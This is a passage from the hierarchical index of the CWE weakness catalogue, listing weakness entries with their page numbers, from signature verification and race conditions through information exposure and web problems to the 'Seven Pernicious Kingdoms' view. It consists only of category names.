- B CWE-347: Improper Verification of Cryptographic Signature (p. 604)
- B CWE-348: Use of Less Trusted Source (p. 605)
- B CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data (p. 607)
- B CWE-351: Insufficient Type Distinction (p. 610)
- B CWE-353: Missing Support for Integrity Check (p. 616)
- B CWE-354: Improper Validation of Integrity Check Value (p. 618)
- B CWE-360: Trust of System Event Data (p. 625)
- V CWE-646: Reliance on File Name or Extension of Externally-Supplied File (p. 1002)
- B CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking (p. 1006)
- G CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel (p. 1350)
- B CWE-352: Cross-Site Request Forgery (CSRF) (p. 611)
  - B CWE-346: Origin Validation Error (p. 602)
  - G CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p. 753)
  - B CWE-613: Insufficient Session Expiration (p. 960)
  - G CWE-642: External Control of Critical State Data (p. 993)
- B CWE-358: Improperly Implemented Security Check for Standard (p. 621)
- G CWE-359: Exposure of Private Information ('Privacy Violation') (p. 622)
- B CWE-565: Reliance on Cookies without Validation and Integrity Checking (p. 901)
- V CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision (p. 1202)
- B CWE-602: Client-Side Enforcement of Server-Side Security (p. 947)
- B CWE-653: Insufficient Compartmentalization (p. 1011)
- B CWE-654: Reliance on a Single Factor in a Security Decision (p. 1012)
- B CWE-655: Insufficient Psychological Acceptability (p. 1014)
- B CWE-656: Reliance on Security Through Obscurity (p. 1015)
- G CWE-693: Protection Mechanism Failure (p. 1074)
- B CWE-778: Insufficient Logging (p. 1193)
- B CWE-779: Logging of Excessive Data (p. 1194)
- V CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision (p. 1202)
- B CWE-807: Reliance on Untrusted Inputs in a Security Decision (p. 1239)
- C CWE-361: Time and State (p. 626)
  - C CWE-371: State Issues (p. 650)
    - B CWE-372: Incomplete Internal State Distinction (p. 651)
    - B CWE-374: Passing Mutable Objects to an Untrusted Method (p. 652)
    - B CWE-375: Returning a Mutable Object to an Untrusted Caller (p. 654)
    - V CWE-585: Empty Synchronized Block (p. 925)
    - G CWE-642: External Control of Critical State Data (p. 993)
  - C CWE-376: Temporary File Issues (p. 655)
    - B CWE-377: Insecure Temporary File (p. 655)
    - B CWE-378: Creation of Temporary File With Insecure Permissions (p. 658)
    - B CWE-379: Creation of Temporary File in Directory with Incorrect Permissions (p. 659)
  - C CWE-380: Technology-Specific Time and State Issues (p. 661)
    - C CWE-381: J2EE Time and State Issues (p. 661)
      - V CWE-382: J2EE Bad Practices: Use of System.exit() (p. 661)
      - V CWE-383: J2EE Bad Practices: Direct Use of Threads (p. 662)
      - V CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context (p. 882)
  - C CWE-387: Signal Errors (p. 668)
    - B CWE-364: Signal Handler Race Condition (p. 635)
      - B CWE-432: Dangerous Signal Handler not Disabled During Sensitive Operations (p. 740)

- B CWE-828: Signal Handler with Functionality that is not Asynchronous-Safe (p. 1259)
- V CWE-479: Signal Handler Use of a Non-reentrant Function (p. 807)
- B CWE-831: Signal Handler Function Associated with Multiple Signals (p. 1268)
- C CWE-557: Concurrency Issues (p. 893)
  - B CWE-366: Race Condition within a Thread (p. 640)
  - V CWE-558: Use of getlogin() in Multithreaded Application (p. 893)
  - B CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context (p. 903)
  - V CWE-572: Call to Thread run() instead of start() (p. 910)
- G CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p. 627)
  - B CWE-364: Signal Handler Race Condition (p. 635)
    - B CWE-432: Dangerous Signal Handler not Disabled During Sensitive Operations (p. 740)
    - B CWE-828: Signal Handler with Functionality that is not Asynchronous-Safe (p. 1259)
    - V CWE-479: Signal Handler Use of a Non-reentrant Function (p. 807)
    - B CWE-831: Signal Handler Function Associated with Multiple Signals (p. 1268)
  - B CWE-366: Race Condition within a Thread (p. 640)
  - B CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (p. 642)
  - B CWE-363: Race Condition Enabling Link Following (p. 633)
  - B CWE-365: Race Condition in Switch (p. 639)
  - B CWE-368: Context Switching Race Condition (p. 645)
  - B CWE-421: Race Condition During Access to Alternate Channel (p. 724)
  - B CWE-662: Improper Synchronization (p. 1024)
    - B CWE-667: Improper Locking (p. 1032)
      - V CWE-764: Multiple Locks of a Critical Resource (p. 1168)
      - V CWE-765: Multiple Unlocks of a Critical Resource (p. 1169)
      - B CWE-832: Unlock of a Resource that is not Locked (p. 1270)
      - B CWE-833: Deadlock (p. 1271)
    - B CWE-820: Missing Synchronization (p. 1249)
      - V CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context (p. 882)
    - B CWE-821: Incorrect Synchronization (p. 1250)
      - V CWE-572: Call to Thread run() instead of start() (p. 910)
      - V CWE-574: EJB Bad Practices: Use of Synchronization Primitives (p. 911)
  - B CWE-385: Covert Timing Channel (p. 666)
  - B CWE-386: Symbolic Name not Mapping to Correct Object (p. 667)
  - B CWE-412: Unrestricted Externally Accessible Lock (p. 711)
  - B CWE-609: Double-Checked Locking (p. 955)
  - B CWE-613: Insufficient Session Expiration (p. 960)
  - B CWE-662: Improper Synchronization (p. 1024)
    - B CWE-667: Improper Locking (p. 1032)
      - V CWE-764: Multiple Locks of a Critical Resource (p. 1168)
      - V CWE-765: Multiple Unlocks of a Critical Resource (p. 1169)
      - B CWE-832: Unlock of a Resource that is not Locked (p. 1270)
      - B CWE-833: Deadlock (p. 1271)
    - B CWE-820: Missing Synchronization (p. 1249)
      - V CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context (p. 882)
    - B CWE-821: Incorrect Synchronization (p. 1250)
      - V CWE-572: Call to Thread run() instead of start() (p. 910)
      - V CWE-574: EJB Bad Practices: Use of Synchronization Primitives (p. 911)

- B CWE-663: Use of a Non-reentrant Function in a Concurrent Context (p. 1025)
- V CWE-479: Signal Handler Use of a Non-reentrant Function (p. 807)
- G CWE-664: Improper Control of a Resource Through its Lifetime (p. 1026)
- G CWE-704: Incorrect Type Conversion or Cast (p. 1104)
- B CWE-843: Access of Resource Using Incompatible Type ('Type Confusion') (p. 1287)
- G CWE-922: Insecure Storage of Sensitive Information (p. 1349)
- B CWE-312: Cleartext Storage of Sensitive Information (p. 553)
- V CWE-313: Cleartext Storage in a File or on Disk (p. 556)
- V CWE-314: Cleartext Storage in the Registry (p. 557)
- V CWE-315: Cleartext Storage of Sensitive Information in a Cookie (p. 558)
- V CWE-316: Cleartext Storage of Sensitive Information in Memory (p. 559)
- V CWE-317: Cleartext Storage of Sensitive Information in GUI (p. 560)
- V CWE-318: Cleartext Storage of Sensitive Information in Executable (p. 561)
- B CWE-921: Storage of Sensitive Data in a Mechanism without Access Control (p. 1348)
- G CWE-668: Exposure of Resource to Wrong Sphere (p. 1035)
- G CWE-669: Incorrect Resource Transfer Between Spheres (p. 1036)
- G CWE-829: Inclusion of Functionality from Untrusted Control Sphere (p. 1262)
- B CWE-830: Inclusion of Web Functionality from an Untrusted Source (p. 1267)
- B CWE-672: Operation on a Resource after Expiration or Release (p. 1039)
- B CWE-825: Expired Pointer Dereference (p. 1255)
- G CWE-673: External Influence of Sphere Definition (p. 1041)
- B CWE-674: Uncontrolled Recursion (p. 1042)
- V CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') (p. 1190)
- G CWE-691: Insufficient Control Flow Management (p. 1072)
- B CWE-834: Excessive Iteration (p. 1272)
- B CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop') (p. 1273)
- B CWE-698: Execution After Redirect (EAR) (p. 1079)
- B CWE-384: Session Fixation (p. 663)
- B CWE-346: Origin Validation Error (p. 602)
- G CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p. 753)
- B CWE-472: External Control of Assumed-Immutable Web Parameter (p. 793)
- C CWE-388: Error Handling (p. 669)
- C CWE-389: Error Conditions, Return Values, Status Codes (p. 670)
- B CWE-248: Uncaught Exception (p. 438)
- B CWE-252: Unchecked Return Value (p. 446)
- B CWE-253: Incorrect Check of Function Return Value (p. 451)
- G CWE-390: Detection of Error Condition Without Action (p. 671)
- B CWE-391: Unchecked Error Condition (p. 675)
- B CWE-392: Missing Report of Error Condition (p. 677)
- B CWE-393: Return of Wrong Status Code (p. 678)
- B CWE-394: Unexpected Status Code or Return Value (p. 679)
- B CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference (p. 680)
- B CWE-396: Declaration of Catch for Generic Exception (p. 682)
- B CWE-397: Declaration of Throws for Generic Exception (p. 683)
- B CWE-584: Return Inside Finally Block (p. 924)
- B CWE-544: Missing Standardized Error Handling Mechanism (p. 883)
- B CWE-600: Uncaught Exception in Servlet (p. 941)
- G CWE-636: Not Failing Securely ('Failing Open') (p. 983)
- G CWE-754: Improper Check for Unusual or Exceptional Conditions (p. 1143)

- C CWE-756: Missing Custom Error Page (p. 1151)
- V CWE-7: J2EE Misconfiguration: Missing Custom Error Page (p. 5)
- C CWE-417: Channel and Path Errors (p. 722)
- C CWE-418: Channel Errors (p. 722)
  - B CWE-419: Unprotected Primary Channel (p. 723)
  - B CWE-420: Unprotected Alternate Channel (p. 723)
    - B CWE-421: Race Condition During Access to Alternate Channel (p. 724)
    - V CWE-422: Unprotected Windows Messaging Channel ('Shatter') (p. 725)
  - C CWE-514: Covert Channel (p. 858)
    - B CWE-385: Covert Timing Channel (p. 666)
    - B CWE-515: Covert Storage Channel (p. 858)
- C CWE-424: Improper Protection of Alternate Path (p. 727)
  - B CWE-425: Direct Request ('Forced Browsing') (p. 727)
- B CWE-427: Uncontrolled Search Path Element (p. 733)
- B CWE-428: Unquoted Search Path or Element (p. 736)
- B CWE-426: Untrusted Search Path (p. 729)
  - C CWE-275: Permission Issues (p. 488)
  - C CWE-216: Containment Errors (Container Errors) (p. 410)
  - B CWE-471: Modification of Assumed-Immutable Data (MAID) (p. 792)
- C CWE-429: Handler Errors (p. 738)
  - B CWE-430: Deployment of Wrong Handler (p. 738)
  - B CWE-431: Missing Handler (p. 739)
  - B CWE-432: Dangerous Signal Handler not Disabled During Sensitive Operations (p. 740)
  - V CWE-433: Unparsed Raw Web Content Delivery (p. 741)
  - B CWE-434: Unrestricted Upload of File with Dangerous Type (p. 742)
  - V CWE-479: Signal Handler Use of a Non-reentrant Function (p. 807)
  - V CWE-616: Incomplete Identification of Uploaded File Variables (PHP) (p. 963)
- C CWE-438: Behavioral Problems (p. 752)
- C CWE-840: Business Logic Errors (p. 1283)
  - C CWE-200: Information Exposure (p. 384)
    - V CWE-201: Information Exposure Through Sent Data (p. 387)
    - V CWE-202: Exposure of Sensitive Data Through Data Queries (p. 389)
    - C CWE-203: Information Exposure Through Discrepancy (p. 389)
      - B CWE-204: Response Discrepancy Information Exposure (p. 392)
      - B CWE-205: Information Exposure Through Behavioral Discrepancy (p. 394)
        - V CWE-206: Information Exposure of Internal State Through Behavioral Inconsistency (p. 395)
        - V CWE-207: Information Exposure Through an External Behavioral Inconsistency (p. 396)
      - B CWE-208: Information Exposure Through Timing Discrepancy (p. 396)
    - B CWE-209: Information Exposure Through an Error Message (p. 397)
      - B CWE-210: Information Exposure Through Self-generated Error Message (p. 402)
        - V CWE-535: Information Exposure Through Shell Error Message (p. 874)
        - V CWE-536: Information Exposure Through Servlet Runtime Error Message (p. 875)
        - V CWE-537: Information Exposure Through Java Runtime Error Message (p. 876)
      - B CWE-211: Information Exposure Through Externally-generated Error Message (p. 403)
      - V CWE-550: Information Exposure Through Server Error Message (p. 888)
    - B CWE-212: Improper Cross-boundary Removal of Sensitive Data (p. 405)
    - B CWE-213: Intentional Information Exposure (p. 407)
    - V CWE-214: Information Exposure Through Process Environment (p. 408)



- V CWE-215: Information Exposure Through Debug Information (p. 409)
- B CWE-226: Sensitive Information Uncleared Before Release (p. 417)
- V CWE-497: Exposure of System Data to an Unauthorized Control Sphere (p. 840)
- V CWE-498: Cloneable Class Containing Sensitive Information (p. 842)
- V CWE-499: Serializable Class Containing Sensitive Data (p. 844)
- V CWE-524: Information Exposure Through Caching (p. 866)
- V CWE-525: Information Exposure Through Browser Caching (p. 867)
- V CWE-526: Information Exposure Through Environmental Variables (p. 868)
- B CWE-538: File and Directory Information Exposure (p. 877)
  - V CWE-527: Exposure of CVS Repository to an Unauthorized Control Sphere (p. 868)
  - V CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere (p. 869)
  - V CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere (p. 870)
  - V CWE-530: Exposure of Backup File to an Unauthorized Control Sphere (p. 870)
  - V CWE-532: Information Exposure Through Log Files (p. 872)
    - V CWE-533: Information Exposure Through Server Log Files (p. 873)
    - V CWE-534: Information Exposure Through Debug Log Files (p. 874)
    - V CWE-542: Information Exposure Through Cleanup Log Files (p. 881)
  - V CWE-539: Information Exposure Through Persistent Cookies (p. 878)
  - V CWE-540: Information Exposure Through Source Code (p. 879)
    - V CWE-531: Information Exposure Through Test Code (p. 871)
    - V CWE-541: Information Exposure Through Include Source Code (p. 880)
    - V CWE-615: Information Exposure Through Comments (p. 962)
  - V CWE-548: Information Exposure Through Directory Listing (p. 887)
  - V CWE-651: Information Exposure Through WSDL File (p. 1008)
- V CWE-598: Information Exposure Through Query Strings in GET Request (p. 939)
- V CWE-612: Information Exposure Through Indexing of Private Data (p. 960)
- C CWE-282: Improper Ownership Management (p. 497)
- B CWE-283: Unverified Ownership (p. 498)
- B CWE-708: Incorrect Ownership Assignment (p. 1108)
- C CWE-285: Improper Authorization (p. 501)
  - C CWE-862: Missing Authorization (p. 1299)
    - B CWE-425: Direct Request ('Forced Browsing') (p. 727)
    - B CWE-639: Authorization Bypass Through User-Controlled Key (p. 988)
      - V CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key (p. 902)
  - C CWE-863: Incorrect Authorization (p. 1304)
    - B CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization (p. 889)
    - V CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions (p. 1003)
    - B CWE-804: Guessable CAPTCHA (p. 1229)
- V CWE-926: Improper Export of Android Application Components (p. 1352)
- V CWE-927: Use of Implicit Intent for Sensitive Communication (p. 1354)
- B CWE-288: Authentication Bypass Using an Alternate Path or Channel (p. 512)
  - B CWE-425: Direct Request ('Forced Browsing') (p. 727)
- B CWE-408: Incorrect Behavior Order: Early Amplification (p. 707)
- B CWE-596: Incorrect Semantic Object Comparison (p. 938)
- B CWE-639: Authorization Bypass Through User-Controlled Key (p. 988)
  - V CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key (p. 902)

- B CWE-640: Weak Password Recovery Mechanism for Forgotten Password (p. 989)
- B CWE-666: Operation on Resource in Wrong Phase of Lifetime (p. 1031)
- B CWE-826: Premature Release of Resource During Expected Lifetime (p. 1257)
- C CWE-696: Incorrect Behavior Order (p. 1077)
- C CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1121)
- C CWE-754: Improper Check for Unusual or Exceptional Conditions (p. 1143)
- B CWE-770: Allocation of Resources Without Limits or Throttling (p. 1175)
- V CWE-789: Uncontrolled Memory Allocation (p. 1211)
- C CWE-799: Improper Control of Interaction Frequency (p. 1225)
- B CWE-837: Improper Enforcement of a Single, Unique Action (p. 1276)
- B CWE-841: Improper Enforcement of Behavioral Workflow (p. 1284)
- B CWE-439: Behavioral Change in New Version or Environment (p. 752)
- B CWE-440: Expected Behavior Violation (p. 753)
- C CWE-799: Improper Control of Interaction Frequency (p. 1225)
- B CWE-837: Improper Enforcement of a Single, Unique Action (p. 1276)
- B CWE-841: Improper Enforcement of Behavioral Workflow (p. 1284)
- C CWE-442: Web Problems (p. 755)
- B CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting') (p. 211)
- B CWE-425: Direct Request ('Forced Browsing') (p. 727)
- B CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling') (p. 756)
- V CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (p. 942)
- V CWE-611: Improper Restriction of XML External Entity Reference ('XXE') (p. 958)
- V CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax (p. 999)
- V CWE-646: Reliance on File Name or Extension of Externally-Supplied File (p. 1002)
- V CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions (p. 1003)
- V CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') (p. 1190)
- V CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision (p. 1202)
- B CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p. 131)
- V CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) (p. 142)
- V CWE-81: Improper Neutralization of Script in an Error Message Web Page (p. 144)
- V CWE-83: Improper Neutralization of Script in Attributes in a Web Page (p. 147)
- V CWE-82: Improper Neutralization of Script in Attributes of IMG Tags in a Web Page (p. 146)
- V CWE-84: Improper Neutralization of Encoded URI Schemes in a Web Page (p. 149)
- V CWE-85: Doubled Character XSS Manipulations (p. 151)
- V CWE-86: Improper Neutralization of Invalid Characters in Identifiers in Web Pages (p. 152)
- V CWE-87: Improper Neutralization of Alternate XSS Syntax (p. 154)
- B CWE-827: Improper Control of Document Type Definition (p. 1258)
- B CWE-352: Cross-Site Request Forgery (CSRF) (p. 611)
- B CWE-346: Origin Validation Error (p. 602)
- C CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p. 753)
- B CWE-613: Insufficient Session Expiration (p. 960)
- C CWE-642: External Control of Critical State Data (p. 993)
- C CWE-445: User Interface Errors (p. 759)
- B CWE-446: UI Discrepancy for Security Feature (p. 759)
- B CWE-447: Unimplemented or Unsupported Feature in UI (p. 760)
- B CWE-448: Obsolete Feature in UI (p. 761)





- G CWE-573: Improper Following of Specification by Caller (p. 910)
  - V CWE-577: EJB Bad Practices: Use of Sockets (p. 916)
  - V CWE-578: EJB Bad Practices: Use of Class Loader (p. 918)
  - V CWE-579: J2EE Bad Practices: Non-serializable Object Stored in Session (p. 919)
  - V CWE-580: clone() Method Without super.clone() (p. 920)
  - B CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined (p. 921)
  - B CWE-694: Use of Multiple Resources with Duplicate Identifier (p. 1076)
  - B CWE-695: Use of Low-Level Functionality (p. 1077)
    - V CWE-574: EJB Bad Practices: Use of Synchronization Primitives (p. 911)
    - V CWE-575: EJB Bad Practices: Use of AWT Swing (p. 913)
    - V CWE-576: EJB Bad Practices: Use of Java I/O (p. 915)
  - V CWE-589: Call to Non-ubiquitous API (p. 929)
  - B CWE-605: Multiple Binds to the Same Port (p. 951)
  - B CWE-684: Incorrect Provision of Specified Functionality (p. 1065)
- G CWE-398: Indicator of Poor Code Quality (p. 684)
  - C CWE-399: Resource Management Errors (p. 686)
    - C CWE-411: Resource Locking Problems (p. 710)
      - B CWE-412: Unrestricted Externally Accessible Lock (p. 711)
      - B CWE-413: Improper Resource Locking (p. 713)
        - V CWE-591: Sensitive Data Storage in Improperly Locked Memory (p. 932)
      - B CWE-414: Missing Lock Check (p. 716)
    - C CWE-417: Channel and Path Errors (p. 722)
      - C CWE-418: Channel Errors (p. 722)
        - B CWE-419: Unprotected Primary Channel (p. 723)
        - B CWE-420: Unprotected Alternate Channel (p. 723)
          - B CWE-421: Race Condition During Access to Alternate Channel (p. 724)
          - V CWE-422: Unprotected Windows Messaging Channel ('Shatter') (p. 725)
        - G CWE-514: Covert Channel (p. 858)
          - B CWE-385: Covert Timing Channel (p. 666)
          - B CWE-515: Covert Storage Channel (p. 858)
    - G CWE-424: Improper Protection of Alternate Path (p. 727)
      - B CWE-425: Direct Request ('Forced Browsing') (p. 727)
    - B CWE-427: Uncontrolled Search Path Element (p. 733)
    - B CWE-428: Unquoted Search Path or Element (p. 736)
    - B CWE-426: Untrusted Search Path (p. 729)
      - C CWE-275: Permission Issues (p. 488)
        - G CWE-216: Containment Errors (Container Errors) (p. 410)
        - B CWE-471: Modification of Assumed-Immutable Data (MAID) (p. 792)
  - B CWE-400: Uncontrolled Resource Consumption ('Resource Exhaustion') (p. 688)
    - C CWE-769: File Descriptor Exhaustion (p. 1174)
      - V CWE-773: Missing Reference to Active File Descriptor or Handle (p. 1187)
      - V CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling (p. 1188)
      - V CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime (p. 1189)
    - B CWE-410: Insufficient Resource Pool (p. 709)
    - B CWE-770: Allocation of Resources Without Limits or Throttling (p. 1175)
      - V CWE-789: Uncontrolled Memory Allocation (p. 1211)
    - B CWE-779: Logging of Excessive Data (p. 1194)
    - B CWE-920: Improper Restriction of Power Consumption (p. 1347)
  - B CWE-401: Improper Release of Memory Before Removing Last Reference ('Memory Leak') (p. 694)



- V CWE-617: Reachable Assertion (p. 964)
- E CWE-676: Use of Potentially Dangerous Function (p. 1044)
- G CWE-485: Insufficient Encapsulation (p. 819)
- C CWE-490: Mobile Code Issues (p. 826)
  - V CWE-491: Public cloneable() Method Without Final ('Object Hijack') (p. 826)
  - V CWE-492: Use of Inner Class Containing Sensitive Data (p. 827)
  - V CWE-493: Critical Public Variable Without Final Modifier (p. 833)
  - V CWE-500: Public Static Field Not Marked Final (p. 845)
  - E CWE-494: Download of Code Without Integrity Check (p. 835)
  - V CWE-582: Array Declared Public, Final, and Static (p. 922)
  - V CWE-583: finalize() Method Declared Public (p. 923)
- V CWE-486: Comparison of Classes by Name (p. 820)
- V CWE-487: Reliance on Package-level Scope (p. 822)
- V CWE-488: Exposure of Data Element to Wrong Session (p. 823)
- E CWE-489: Leftover Debug Code (p. 824)
- V CWE-495: Private Array-Typed Field Returned From A Public Method (p. 838)
- V CWE-496: Public Data Assigned to Private Array-Typed Field (p. 839)
- V CWE-498: Cloneable Class Containing Sensitive Information (p. 842)
- V CWE-499: Serializable Class Containing Sensitive Data (p. 844)
- E CWE-501: Trust Boundary Violation (p. 846)
- V CWE-545: Use of Dynamic Class Loading (p. 884)
- V CWE-580: clone() Method Without super.clone() (p. 920)
- V CWE-594: J2EE Framework: Saving Unserializable Objects to Disk (p. 935)
- V CWE-607: Public Static Final Field References Mutable Object (p. 953)
- E CWE-749: Exposed Dangerous Method or Function (p. 1138)
  - V CWE-782: Exposed IOCTL with Insufficient Access Control (p. 1198)
- V CWE-766: Critical Variable Declared Public (p. 1170)
- V CWE-767: Access to Critical Private Variable via Public Method (p. 1172)
- C CWE-503: Byte/Object Code (p. 849)
  - C CWE-490: Mobile Code Issues (p. 826)
    - V CWE-491: Public cloneable() Method Without Final ('Object Hijack') (p. 826)
    - V CWE-492: Use of Inner Class Containing Sensitive Data (p. 827)
    - V CWE-493: Critical Public Variable Without Final Modifier (p. 833)
    - V CWE-500: Public Static Field Not Marked Final (p. 845)
  - E CWE-494: Download of Code Without Integrity Check (p. 835)
  - V CWE-582: Array Declared Public, Final, and Static (p. 922)
  - V CWE-583: finalize() Method Declared Public (p. 923)
- E CWE-14: Compiler Removal of Code to Clear Buffers (p. 12)
- G CWE-657: Violation of Secure Design Principles (p. 1017)
  - G CWE-250: Execution with Unnecessary Privileges (p. 440)
  - G CWE-636: Not Failing Securely ('Failing Open') (p. 983)
  - G CWE-637: Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism') (p. 985)
  - G CWE-638: Not Using Complete Mediation (p. 986)
  - E CWE-653: Insufficient Compartmentalization (p. 1011)
  - E CWE-654: Reliance on a Single Factor in a Security Decision (p. 1012)
  - E CWE-655: Insufficient Psychological Acceptability (p. 1014)
  - E CWE-656: Reliance on Security Through Obscurity (p. 1015)
  - G CWE-671: Lack of Administrator Control over Security (p. 1038)
- C CWE-2: Environment (p. 1)
  - C CWE-3: Technology-specific Environment Issues (p. 1)
    - C CWE-4: J2EE Environment Issues (p. 2)
      - V CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption (p. 2)
      - V CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File (p. 892)
      - V CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length (p. 3)

- V CWE-7: J2EE Misconfiguration: Missing Custom Error Page (p. 5)
- V CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote (p. 6)
- V CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods (p. 7)
- C CWE-519: .NET Environment Issues (p. 860)
- C CWE-10: ASP.NET Environment Issues (p. 8)
  - V CWE-11: ASP.NET Misconfiguration: Creating Debug Binary (p. 8)
  - V CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page (p. 9)
  - V CWE-13: ASP.NET Misconfiguration: Password in Configuration File (p. 11)
  - V CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework (p. 891)
  - V CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation (p. 892)
  - V CWE-520: .NET Misconfiguration: Use of Impersonation (p. 861)
- B CWE-14: Compiler Removal of Code to Clear Buffers (p. 12)
- B CWE-15: External Control of System or Configuration Setting (p. 14)
- C CWE-435: Interaction Error (p. 748)
- B CWE-436: Interpretation Conflict (p. 749)
  - B CWE-115: Misinterpretation of Input (p. 217)
  - B CWE-437: Incomplete Model of Endpoint Features (p. 751)
  - V CWE-626: Null Byte Interaction Error (Poison Null Byte) (p. 974)
- B CWE-552: Files or Directories Accessible to External Parties (p. 889)
  - V CWE-527: Exposure of CVS Repository to an Unauthorized Control Sphere (p. 868)
  - V CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere (p. 869)
  - V CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere (p. 870)
  - V CWE-532: Information Exposure Through Log Files (p. 872)
    - V CWE-533: Information Exposure Through Server Log Files (p. 873)
    - V CWE-534: Information Exposure Through Debug Log Files (p. 874)
    - V CWE-542: Information Exposure Through Cleanup Log Files (p. 881)
  - V CWE-533: Information Exposure Through Server Log Files (p. 873)
  - V CWE-534: Information Exposure Through Debug Log Files (p. 874)
  - V CWE-540: Information Exposure Through Source Code (p. 879)
    - V CWE-531: Information Exposure Through Test Code (p. 871)
    - V CWE-541: Information Exposure Through Include Source Code (p. 880)
    - V CWE-615: Information Exposure Through Comments (p. 962)
  - V CWE-542: Information Exposure Through Cleanup Log Files (p. 881)
  - V CWE-553: Command Shell in Externally Accessible Directory (p. 890)
- V CWE-650: Trusting HTTP Permission Methods on the Server Side (p. 1007)
- C CWE-504: Motivation/Intent (p. 850)
- C CWE-505: Intentionally Introduced Weakness (p. 850)
  - C CWE-513: Intentionally Introduced Nonmalicious Weakness (p. 857)
  - C CWE-517: Other Intentional, Nonmalicious Weakness (p. 860)
- C CWE-506: Embedded Malicious Code (p. 851)
  - B CWE-507: Trojan Horse (p. 852)
    - B CWE-508: Non-Replicating Malicious Code (p. 853)
    - B CWE-509: Replicating Malicious Code (Virus or Worm) (p. 854)
  - B CWE-510: Trapdoor (p. 854)
  - B CWE-511: Logic/Time Bomb (p. 856)
  - B CWE-512: Spyware (p. 857)
- C CWE-912: Hidden Functionality (p. 1336)
- C CWE-913: Improper Control of Dynamically-Managed Code Resources (p. 1336)
  - V CWE-502: Deserialization of Untrusted Data (p. 847)
  - B CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes (p. 1339)
- C CWE-518: Inadvertently Introduced Weakness (p. 860)
- C CWE-514: Covert Channel (p. 858)
- B CWE-385: Covert Timing Channel (p. 666)

| | | | | **B** CWE-515: Covert Storage Channel (p. 858)



## Graph View: CWE-700: Seven Pernicious Kingdoms

- C** CWE-2: Environment (p. 1)
  - V** CWE-11: ASP.NET Misconfiguration: Creating Debug Binary (p. 8)
  - V** CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page (p. 9)
  - V** CWE-13: ASP.NET Misconfiguration: Password in Configuration File (p. 11)
  - B** CWE-14: Compiler Removal of Code to Clear Buffers (p. 12)
  - V** CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption (p. 2)
  - V** CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length (p. 3)
  - V** CWE-7: J2EE Misconfiguration: Missing Custom Error Page (p. 5)
  - V** CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote (p. 6)
  - V** CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods (p. 7)
- C** CWE-254: Security Features (p. 452)
  - V** CWE-256: Plaintext Storage of a Password (p. 454)
  - V** CWE-258: Empty Password in Configuration File (p. 458)
  - B** CWE-259: Use of Hard-coded Password (p. 459)
  - V** CWE-260: Password in Configuration File (p. 463)
  - V** CWE-261: Weak Cryptography for Passwords (p. 464)
  - B** CWE-272: Least Privilege Violation (p. 482)
  - C** CWE-285: Improper Authorization (p. 501)
  - C** CWE-330: Use of Insufficiently Random Values (p. 581)
  - C** CWE-359: Exposure of Private Information ('Privacy Violation') (p. 622)
  - B** CWE-798: Use of Hard-coded Credentials (p. 1219)
- C** CWE-361: Time and State (p. 626)
  - C** CWE-376: Temporary File Issues (p. 655)
  - B** CWE-364: Signal Handler Race Condition (p. 635)
  - B** CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (p. 642)
  - B** CWE-377: Insecure Temporary File (p. 655)
  - V** CWE-382: J2EE Bad Practices: Use of System.exit() (p. 661)
  - V** CWE-383: J2EE Bad Practices: Direct Use of Threads (p. 662)
  - B** CWE-412: Unrestricted Externally Accessible Lock (p. 711)
  - B** CWE-384: Session Fixation (p. 663)
    - B** CWE-346: Origin Validation Error (p. 602)
    - C** CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p. 753)
    - B** CWE-472: External Control of Assumed-Immutable Web Parameter (p. 793)
